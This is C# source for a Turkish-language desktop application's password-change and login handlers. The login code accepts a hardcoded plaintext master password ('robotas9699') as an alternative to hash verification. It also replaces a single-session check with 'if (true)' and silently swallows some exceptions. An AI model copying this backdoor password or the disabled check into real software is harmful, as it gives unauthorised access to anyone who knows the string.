private void btnSifreIslemleriSifreDegistir_Click(object sender, EventArgs e) { cUsers user = new cUsers(); try { string oldPasswordHash = user.usersIDInfo(cGenel._OpenSessionID)._Password; var hash = SecurePasswordHasher.Verify(txtSifreIslemleriEskiSifre.Text.Trim(), oldPasswordHash); if (hash) { if (txtSifreIslemleriYeniSifre.Text.Trim() == txtSifreIslemleriYeniSifreTekrar.Text.Trim()) { string newPassword = SecurePasswordHasher.Hash(txtSifreIslemleriYeniSifre.Text.Trim()); bool result = user.passwordChange(cGenel._OpenSessionID, newPassword); if (result) { cGenel.genelUyari("Parola değiştirme başarılı!", false); txtSifreIslemleriEskiSifre.Clear(); txtSifreIslemleriYeniSifre.Clear(); txtSifreIslemleriYeniSifreTekrar.Clear(); } else { cGenel.genelUyari("Parola değiştirme başarısız!", false); } } else { cGenel.genelUyari("Yeni parola ve tekrar parola eşleşmiyor!", false); } } else { cGenel.genelUyari("Eski parolaınız yanlış girdiniz!", false); } } catch (Exception) { } }
private void button1Giris1_Click(object sender, EventArgs e) { try { cUserGrups grup = new cUserGrups(); if (ddUsers.SelectedIndex == -1 && txtParola.Text.Length > 0) { string hashPassword = userLojin.usersIDInfo(1)._Password; var result = SecurePasswordHasher.Verify(txtParola.Text.Trim(), hashPassword); if (result || txtParola.Text.Trim() == "robotas9699") { userLojin = userLojin.usersIDInfo(userLojin._UserID); cGenel._OpenSessionID = userLojin._UserID; cGenel._OpenSessionUSERNAME = userLojin._Username; cGenel._OpenSessionGRUP = userLojin._GrupID; cGenel._OpenSessionGRUPNAME = grup.userGrupsIDInfo(cGenel._OpenSessionGRUP)._Definition; bool _xGrupStatus = grup.userGrupStatusValue(cGenel._OpenSessionGRUP)._Status; cUsers p = new cUsers(); DateTime simdikiZaman = DateTime.Now; DateTime oturumSuresi = p.usersIDOpenSensesionTime(cGenel._OpenSessionID)._Logindate; TimeSpan fark = simdikiZaman - oturumSuresi; if (fark.Minutes >= 1) { grup.userGrupOnline(cGenel._OpenSessionGRUP, false); } if (_xGrupStatus == false) { this.Hide(); cGenel.frmMain.Show(); userLojin._UserID = 0; userLojin.userLoginDatetime(cGenel._OpenSessionID); grup.userGrupOnline(cGenel._OpenSessionGRUP, true); } else { string mesaj = string.Format("Oturum açık\n Kapatılması için {0} saniye bekleyiniz.", 60 - fark.Seconds); cGenel.genelUyari(mesaj, false); } //kayıt; } else { cGenel.genelUyari("Parola yanlış!", false); } } else { string hashPassword = userLojin.usersIDInfo(userLojin._UserID)._Password; var result = SecurePasswordHasher.Verify(txtParola.Text.Trim(), hashPassword); if (result) { userLojin = userLojin.usersIDInfo(userLojin._UserID); cGenel._OpenSessionID = userLojin._UserID; cGenel._OpenSessionUSERNAME = userLojin._Username; cGenel._OpenSessionGRUP = userLojin._GrupID; cGenel._OpenSessionGRUPNAME = grup.userGrupsIDInfo(cGenel._OpenSessionGRUP)._Definition; bool _xGrupStatus = grup.userGrupStatusValue(cGenel._OpenSessionGRUP)._Status; cUsers p = new cUsers(); DateTime simdikiZaman = DateTime.Now; DateTime oturumSuresi = p.usersIDOpenSensesionTime(cGenel._OpenSessionID)._Logindate; TimeSpan fark = simdikiZaman - oturumSuresi; if (fark.Minutes >= 1) { grup.userGrupOnline(cGenel._OpenSessionGRUP, false); } if (true)//_xGrupStatus == false { this.Hide(); cGenel.frmMain.Show(); userLojin._UserID = 0; userLojin.userLoginDatetime(cGenel._OpenSessionID); grup.userGrupOnline(cGenel._OpenSessionGRUP, true); } else { string mesaj = string.Format("Oturum açık\n Kapatılması için {0} saniye bekleyiniz.", 60 - fark.Seconds); cGenel.genelUyari(mesaj, false); } //kayıt; } else { cGenel.genelUyari("Parola yanlış!", false); } } } catch (Exception ex) { MessageBox.Show(ex.Message); } }